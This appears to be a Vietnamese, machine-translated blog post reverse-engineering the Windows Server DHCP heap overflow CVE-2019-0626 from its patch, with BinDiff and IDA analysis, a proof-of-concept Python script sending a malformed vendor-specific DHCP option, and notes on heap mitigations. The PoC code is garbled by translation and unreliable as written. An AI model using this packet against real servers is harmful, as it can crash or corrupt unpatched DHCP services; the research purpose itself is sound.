> ## Content Index
> Fetch the complete content index at: https://phucdm.digitalpress.blog/llms.txt
> Use this file to discover other available public pages before exploring further.

# Phân tích lỗi máy chủ Window DHCP (CVE-2019-0626)
- URL: https://phucdm.digitalpress.blog/phan-tich-loi-may-chu-window-dhcp-cve-2019-0626/
- Published: 2022-01-11T06:58:52.000Z
- Updated: 2022-01-11T06:58:52.000Z
- Author: PhucDao

Hôm nay tôi sẽ viết chuyên sâu về CVE-2019-0626 và cách tìm nó. Do lỗi này chỉ tồn tại trên Windows Server nên tôi sẽ sử dụng máy chủ Server 2016 (bản vá tương ứng là KB4487026).

Lưu ý: tôi không tìm thấy lỗi này, tôi đã thiết kế ngược nó từ bản vá bảo mật tháng 2 năm 2019.

## **So sánh nhị phân**

Tôi đã chạy so sánh BinDiff giữa các phiên bản vá trước và sau của dhcpssvc.dll. Dưới đây, chúng ta có thể thấy rằng chỉ có 4 chức năng đã thay đổi (độ tương đồng <1,0).

![](https://www.malwaretech.com/wp-content/uploads/2019/02/matched_functions.png)

So sánh BinDiff của dhcpssvc.dll trước và sau khi cài đặt bản vá.

Chức năng đầu tiên tôi quyết định xem là “UncodeOption”. Lý do của tôi là nó giống như một loại bộ giải mã nào đó, là vị trí phổ biến của các lỗi.

Nhấp đúp vào hàm mục tiêu sẽ hiển thị hai biểu đồ luồng cạnh nhau. Chức năng ban đầu nằm ở bên trái và được cập nhật một chức năng ở bên phải. Mỗi đồ thị sẽ chia các chức năng thành các khối hợp lý của mã lắp ráp, tương tự như “chế độ xem đồ thị” của IDA.

- Các khối màu xanh lá cây giống hệt nhau trên cả hai chức năng.
- Các khối màu vàng có một số biến thể hướng dẫn giữa chức năng.
- Các khối màu xám chứa mã mới được thêm vào.
- Các khối màu đỏ chứa mã đã bị loại bỏ.

![](https://www.malwaretech.com/wp-content/uploads/2019/02/function_comparison.png)

So sánh song song của luồng điều khiển chức năng

Theo BinDiff, một số khối hợp lý đã được sửa đổi. Điều thú vị nhất là có hai vòng lặp, cả hai đều có một khối mã mới. các khối bổ sung có thể là if các câu lệnh chứa kiểm tra độ tỉnh táo bổ sung; đây có vẻ như là một nơi tốt để bắt đầu.

Trong khi có thể thực hiện nhiều phân tích hơn trong BinDiff, tôi thấy giao diện quá cồng kềnh. Tôi nghĩ rằng tôi đã có tất cả thông tin tôi cần, vì vậy đã đến lúc đi sâu vào IDA.

## **Phân tích mã**

Nếu bạn có phiên bản đầy đủ của IDA, bạn có thể sử dụng trình dịch ngược để tiết kiệm việc đào mã lắp ráp. Hầu hết các lỗi sẽ hiển thị ở cấp độ cao, mặc dù trong một số trường hợp rất hiếm, bạn có thể cần phải so sánh mã ở cấp độ lắp ráp.

![](https://www.malwaretech.com/wp-content/uploads/2019/02/duplicate_variables.png)

Do cách thức hoạt động của trình dịch ngược IDA, bạn có thể thấy có các biến trùng lặp. Ví dụ: “v8” là bản sao của “a2”, nhưng không giá trị nào được sửa đổi. Chúng tôi có thể xóa mã bằng cách nhấp chuột phải vào “v8” và chọn ánh xạ tới một biến khác Bằng cách ánh xạ “v8” thành “a2”, tất cả các trường hợp của “v8” sẽ được thay thế bằng “a2”. Ánh xạ lại tất cả các biến trùng lặp không cần thiết sẽ giúp mọi thứ dễ đọc hơn.

Đây là một so sánh song song của mã sau khi dọn dẹp.

![](https://www.malwaretech.com/wp-content/uploads/2019/02/function_comparison_c.png)

So sánh song song các chức năng đã vá và chưa vá.

Loại vòng lặp thứ hai (hộp màu vàng) hiện tại là “do while” thay vì “for”, hiện khớp với vòng lặp đầu tiên (sự thay đổi định dạng vòng lặp có thể giải thích rất nhiều khối màu vàng trong BinDiff). Quan trọng nhất, một kiểm tra tỉnh táo hoàn toàn mới đã được thêm vào (hộp màu đỏ). Mã trong hộp màu xanh lam cũng đã được đơn giản hóa, với một số mã được di chuyển bên trong vòng lặp.

Bước tiếp theo của tôi là tìm ra chức năng “UncodeOption” thực sự đang làm gì. Nhấp chuột phải vào một hàm và chọn “jump to xref…” trả về danh sách mọi tham chiếu.

![](https://www.malwaretech.com/wp-content/uploads/2019/02/function_xrefs.png)

Danh sách các tham chiếu đến UncodeOption

Hmm… Tất cả các lệnh gọi đến “UncodeOption” đều đến từ “ParseVendorSpecific” hoặc “ParseVendorSpecific Content”. Điều này dẫn tôi đến google “DHCP dành riêng cho nhà cung cấp”.

![](https://www.malwaretech.com/wp-content/uploads/2019/02/google_suggest.png)

Hoàn thành tự động của Google đã điền vào một số chỗ trống ở đây. Bây giờ tôi biết rằng DHCP có một cái gì đó được gọi là “các tùy chọn cụ thể của nhà cung cấp”. Một chức năng có tên “UncodeOption” đang được gọi bởi “ParseVendorSpecific”? Kinda ngụ ý giải mã một tùy chọn cụ thể của nhà cung cấp. Vì vậy, một tùy chọn cụ thể của nhà cung cấp là gì?

## **Tùy chọn cụ thể của nhà cung cấp**

Kết quả đầu tiên cho googling “Tùy chọn cụ thể của nhà cung cấp DHCP” là một bài đăng trên blog cho tôi biết mọi thứ tôi cần biết \[ [1](https://www.ingmarverheij.com/microsoft-vendor-specific-dhcp-options-explained-and-demystified/?ref=phucdm.digitalpress.blog) \]. Rất hữu ích, bài đăng trên blog giải thích định dạng gói của các tùy chọn cụ thể của nhà cung cấp.

![](https://www.malwaretech.com/wp-content/uploads/2019/02/vendor_specific_options.png)

Định dạng rất đơn giản: mã tùy chọn 1 byte, theo sau là mã xác định độ dài 1 byte, theo sau là giá trị tùy chọn. Bây giờ chúng ta chỉ cần gửi một gói thử nghiệm.

Tôi đã tìm thấy một ứng dụng khách kiểm tra DHCP hữu ích trên một blog ngẫu nhiên \[ [2](https://blog.thecybershadow.net/2013/01/10/dhcp-test-client/?ref=phucdm.digitalpress.blog) \]. Đây là một lệnh ví dụ.

> dhcptest.exe –query –option “Thông tin cụ thể về nhà cung cấp” \[str\] = ”hello world”

Điều này đặt tùy chọn cụ thể của nhà cung cấp thành “hello world”. Bây giờ, chúng ta có thể xem liệu “UncodeOption” có được gọi hay không.

## **Phân tích thời gian chạy**

Trong một nỗ lực để cắt các góc, tôi đã đặt một điểm ngắt trên “UncodeOption”. Tôi đã gửi yêu cầu DHCP của mình và hy vọng điều tốt nhất.

![](https://www.malwaretech.com/wp-content/uploads/2019/02/function_parameters.png)

Chế độ xem bộ nhớ IDA Pro

Đáng kinh ngạc! Điểm ngắt đã bị đánh. Có vẻ như các thông số cũng dễ hiểu.

- RCX (đối số 1) trỏ đến điểm bắt đầu của tùy chọn cụ thể của nhà cung cấp.
- RDX (đối số 2) trỏ đến phần cuối của tùy chọn cụ thể của nhà cung cấp.
- R8 là 0x2B (mã tùy chọn cho các tùy chọn cụ thể của nhà cung cấp).

Bây giờ tôi sẽ truy cập lại mã đã được dịch ngược và thêm một số tên mô tả; Tôi cũng đoán một số loại biến. Biết định dạng của các tùy chọn cụ thể của nhà cung cấp sẽ giúp ích rất nhiều.

![](https://www.malwaretech.com/wp-content/uploads/2019/02/function_full.png)

Mã chưa được vá sau một số lần đổi tên

Việc bổ sung một số tên mô tả và kiến ​​thức mới tìm thấy của tôi về các tùy chọn cụ thể của nhà cung cấp đã làm cho việc hiểu mã dễ dàng hơn nhiều. Tôi sẽ chia nhỏ nó.

Có hai vòng lặp (bắt đầu từ dòng 25 và dòng 44).

#### **Vòng lặp đầu tiên**

1. Nhận mã tùy chọn (byte đầu tiên của bộ đệm tùy chọn). Xác minh mã tùy chọn khớp với giá trị được gửi trong R8 (0x2B).
2. Lấy kích thước tùy chọn (byte thứ 2 của bộ đệm tùy chọn), sau đó thêm nó vào một biến mà tôi đã đặt tên là Requi\_size.
3. gia tăng buffer\_ptr\_1 để trỏ đến cuối vùng đệm tùy chọn.
4. Ngắt nếu vùng đệm mới\_ptr\_1 lớn hơn phần cuối của vùng đệm (buffer\_end).
5. Kết thúc vòng lặp nếu “buffer\_ptr\_1 + option size + 2” lớn hơn buffer\_end.

Về cơ bản, vòng lặp sẽ nhận được độ dài của giá trị tùy chọn (trong trường hợp của chúng tôi là “hello world”). Nếu nhiều tùy chọn cụ thể của nhà cung cấp đã được gửi ngược trở lại, vòng lặp sẽ tính toán tổng kích thước của tất cả các giá trị được kết hợp. Biến “Requi\_size” được sử dụng để cấp phát không gian heap sau này.

#### **Vòng lặp thứ hai**

1. Nhận mã tùy chọn (byte đầu tiên của bộ đệm tùy chọn). Xác minh mã tùy chọn khớp với giá trị được gửi trong R8 (0x2B).
2. Lấy kích thước tùy chọn (byte thứ 2 của bộ đệm tùy chọn).
3. Nối giá trị tùy chọn vào không gian heap (tức là “hello world”) bằng cách sao chép <option\_size> số byte.
4. gia tăng buffer\_ptr\_2 để trỏ đến cuối vùng đệm tùy chọn.
5. Kết thúc vòng lặp nếu buffer\_ptr\_2 mới lớn hơn buffer\_end.

#### **Mục đích mã**

Hàm thực hiện một trình phân tích cú pháp mảng điển hình. Vòng lặp đầu tiên đọc trước để tính toán kích thước bộ đệm cần thiết để phân tích cú pháp mảng. Sau đó, vòng lặp thứ hai phân tích mảng thành một bộ đệm mới được cấp phát.

## **Con bọ**

Sau khi nhìn chằm chằm vào hai triển khai vòng lặp cạnh nhau, tôi nhận thấy điều gì đó.

![](https://www.malwaretech.com/wp-content/uploads/2019/02/loop_comparison.png)

So sánh song song (Vòng 1 ở bên trái, Vòng 2 ở bên phải)

Cả hai vòng đều có một điều kiện sẽ khiến chúng thoát ra nếu con trỏ đệm đến cuối mảng (hộp màu xanh lá cây). Điều thú vị là vòng lặp 1 có thêm một dấu kiểm (ô màu đỏ). Vòng lặp 1 cũng hủy bỏ nếu phần tử tiếp theo trong mảng không hợp lệ (nghĩa là kích thước ‘của nó sẽ làm cho con trỏ tăng dần qua phần cuối của mảng). Sự khác biệt về logic có nghĩa là vòng lặp 1 sẽ kiểm tra tính hợp lệ của phần tử tiếp theo trong mảng trước khi xử lý nó, trong khi vòng lặp 2 sẽ sao chép phần tử đó, sau đó thoát ra do buffer\_ptr\_2 lớn hơn buffer\_end.

Do vòng lặp thực tế 1 chịu trách nhiệm tính toán kích thước, bộ đệm được cấp phát sẽ chỉ cấp phát kích thước cho các phần tử mảng hợp lệ. Vòng lặp 2 sẽ sao chép tất cả các phần tử mảng hợp lệ, cũng như một phần tử không hợp lệ trước khi thoát.

Vì vậy, điều gì sẽ xảy ra nếu chúng tôi gửi những thứ sau đây?

![](https://www.malwaretech.com/wp-content/uploads/2019/02/malicious_format.png)

Mảng tùy chọn độc hại

Vòng lặp tính toán kích thước sẽ phân tích cú pháp kích thước tùy chọn đầu tiên (0x0B) thành công. Sau đó, kích thước tùy chọn tiếp theo được xác nhận. Do thực tế là không có byte 0xFF theo kích thước tùy chọn, nó sẽ được coi là không hợp lệ và bị bỏ qua. Kết quả sẽ là kích thước phân bổ là 0x0B (11 byte).

Vòng lặp sao chép sẽ sao chép giá trị tùy chọn đầu tiên “hello world”. Trong lần lặp thứ hai, kích thước tùy chọn không được xác thực. Bản sao sẽ dẫn đến 255 byte (0xFF) được thêm vào bộ đệm. Tổng cộng 266 sẽ được sao chép vào 11 byte của không gian heap, làm tràn nó 255 byte.

Đối với phần tử cuối cùng được coi là không hợp lệ, phải có ít hơn 255 byte giữa độ dài tùy chọn thứ 2 và phần cuối của bộ đệm (đạt được bằng cách đặt mảng độc hại vào cuối gói DHCP).

Một điều thú vị cần lưu ý là: chúng tôi có thể đặt bất kỳ số byte nào sau độ dài tùy chọn cuối cùng, miễn là nó nhỏ hơn 255\. Chúng tôi có thể làm tràn đống với tối đa 254 byte dữ liệu mà chúng tôi chỉ định hoặc lên đến 254 byte sau khi gói của chúng tôi trong đống. Về cơ bản, có thể đọc và ghi ngoài giới hạn (OOB)).

## **Bằng chứng của khái niệm**

Để xác minh lỗi, tôi cần tạo một gói DHCP độc hại. Tôi đã bắt đầu bằng cách gửi một gói DHCP hợp pháp bằng dhcp-test, mà tôi đã chụp được bằng WireShark.

![](https://www.malwaretech.com/wp-content/uploads/2019/02/dhcp_packet.png)

Gói DHCP được hiển thị bởi WireShark

Có vẻ như bộ đệm tùy chọn cụ thể của nhà cung cấp đã nằm ở cuối gói, thật tuyệt! Tôi chỉ đơn giản là trích xuất hex sang một tập lệnh python và tạo một PoC đơn giản.

Mẹo: bạn có thể nhấp chuột phải vào cột “Bootstrap Protocol”, sau đó chọn “Copy”, tiếp theo là “..As Escaped String”.

từ nhập ổ cắm \* nhập cấu trúc nhập hệ điều hành dhcp\_request = ( "\\ x01 \\ x01 \\ x06 \\ x00 \\ xd5 \\ xa6 \\ xa8 \\ x0c \\ x00 \\ x00 \\ x80 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00" \\ "\\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00" \\ "\\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00" \\ "\\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00" \\ "\\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00" \\ "\\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00" \\ "\\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00" \\ "\\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00" \\ "\\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00" \\ "\\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00" \\ "\\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00" \\ "\\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00" \\ "\\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00" \\ "\\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00" \\ "\\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x00 \\ x63 \\ x82 \\ x53 \\ x63" \\ "\\ x35 \\ x01 \\ x01 \\ x2b \\ x0b \\ x68 \\ x65 \\ x6c \\ x6c \\ x6f \\ x20 \\ x77 \\ x6f \\ x72 \\ x6c \\ x64 \\ xff" ) dhcp\_request = dhcp\_request \[: - 1\] # hủy bỏ byte kết thúc (0xFF) dhcp\_request + = struct.pack ('= B', 0x2B) #vendor mã tùy chọn cụ thể dhcp\_request + = struct.pack ('= B', 0xFF) #vendor kích thước tùy chọn cụ thể dhcp\_request + = "A" \* 254 # 254 byte As dhcp\_request + = struct.pack ('= B', 0xFF) # byte kết thúc gói s = socket (AF\_INET, SOCK\_DGRAM, IPPROTO\_UDP) #DHCP là UDP s.bind (('0.0.0.0', 0)) s.setsockopt (SOL\_SOCKET, SO\_BROADCAST, 1) # input socket ở chế độ truyền phát s.sendto (dhcp\_request, ('255.255.255.255', 67)) #broadcast gói DHCP trên cổng 67

Tiếp theo, tôi đã đính kèm trình gỡ lỗi vào quy trình svchost chứa dhcpssvc.dll và đặt một số điểm ngắt. Một điểm ngắt nằm trên HeapAlloc và điểm còn lại nằm sau vòng lặp sao chép. Bây giờ tôi gửi gói DHCP độc hại của mình.

![](https://www.malwaretech.com/wp-content/uploads/2019/02/heap_alloc_bp-1.png)

Lần truy cập điểm ngắt HeapAlloc

Trên điểm ngắt HeapAlloc, bạn có thể thấy rằng kích thước phân bổ là 0x0B (đủ không gian cho chỉ “hello world”). Tôi tự hỏi điều gì sẽ xảy ra khi chúng ta nhấp vào chạy lại?

![](https://www.malwaretech.com/wp-content/uploads/2019/02/post_copy_bp.png)

lần truy cập điểm ngắt sau sao chép

Rất tiếc! Trình phân tích cú pháp đã sao chép “hello world” và 254 byte của ‘A vào một phân bổ heap chỉ có kích thước 11 byte. Đây chắc chắn là một sự cố tràn, nhưng chúng ta không nên mong đợi sự cố xảy ra trừ khi chúng ta ghi đè lên một cái gì đó quan trọng.

## **Cân nhắc về khả năng khai thác**

Các lỗi tràn đống thường có thể được tận dụng để thực thi mã từ xa (RCE); tuy nhiên, có một số trở ngại cần vượt qua trước tiên. Trong nhiều năm, Microsoft đã dần dần đưa ra các biện pháp giảm thiểu mới, giảm khả năng khai thác tràn đống. Tôi sẽ tóm tắt một số biện pháp giảm nhẹ quan trọng, nhưng bạn có thể xem bài viết đầy đủ hơn trên TechNet \[ [3](https://blogs.technet.microsoft.com/srd/2009/08/04/preventing-the-exploitation-of-user-mode-heap-corruption-vulnerabilities/?ref=phucdm.digitalpress.blog) \] \[ [4](https://blogs.technet.microsoft.com/srd/2013/10/29/software-defense-mitigating-heap-corruption-vulnerabilities/?ref=phucdm.digitalpress.blog) \].

#### **Windows Vista trở lên**

Hầu hết các cuộc tấn công tràn heap chung đều dựa vào việc giả mạo siêu dữ liệu heap để có được khả năng ghi hoặc thực thi tùy ý (nguyên thủy). Thật không may, Windows Vista đã thêm mã hóa và xác minh siêu dữ liệu heap. Các trường siêu dữ liệu hiện đã được XOR bằng một khóa, sửa đổi hàng loạt phức tạp.

Không có khả năng giả mạo siêu dữ liệu heap, những kẻ tấn công phải tập trung vào việc ghi đè chính dữ liệu heap. Vẫn có thể ghi đè các đối tượng được lưu trữ trên heap, chẳng hạn như một cá thể lớp; những điều này có thể cung cấp các nguyên tắc giống như giả mạo siêu dữ liệu.

#### **Windows 8 trở lên**

Các phân bổ nhỏ hơn 16.368 byte đi trên một cái gì đó được gọi là đống phân mảnh thấp (LFH). Windows 8 bổ sung tính năng ngẫu nhiên phân bổ LFH, điều này làm cho thứ tự phân bổ ít dự đoán hơn nhiều. Không thể kiểm soát nơi một đối tượng được phân bổ làm cho việc ghi đè lên một trò chơi may rủi; tuy nhiên, vẫn còn hy vọng.

Nếu sự phân bổ của một đối tượng bị kẻ tấn công kiểm soát, người ta có thể phân bổ hàng trăm bản sao, làm tăng cơ hội ghi đè thành công. Tất nhiên, bạn phải tìm một đối tượng như vậy và nó phải có thể khai thác được.

## **Sự kết luận**

Tôi đã không thể dành nhiều thời gian cho lỗi này như mong muốn và vẫn chưa tìm ra phương pháp RCE cho các hệ thống mới hơn. Cho đến nay, tôi đã tìm thấy một vài giao diện TCP có thể cho phép kiểm soát heap tốt hơn. Giả sử điều gì đó thú vị hơn không xuất hiện, tôi có thể quay lại với điều này trong tương lai.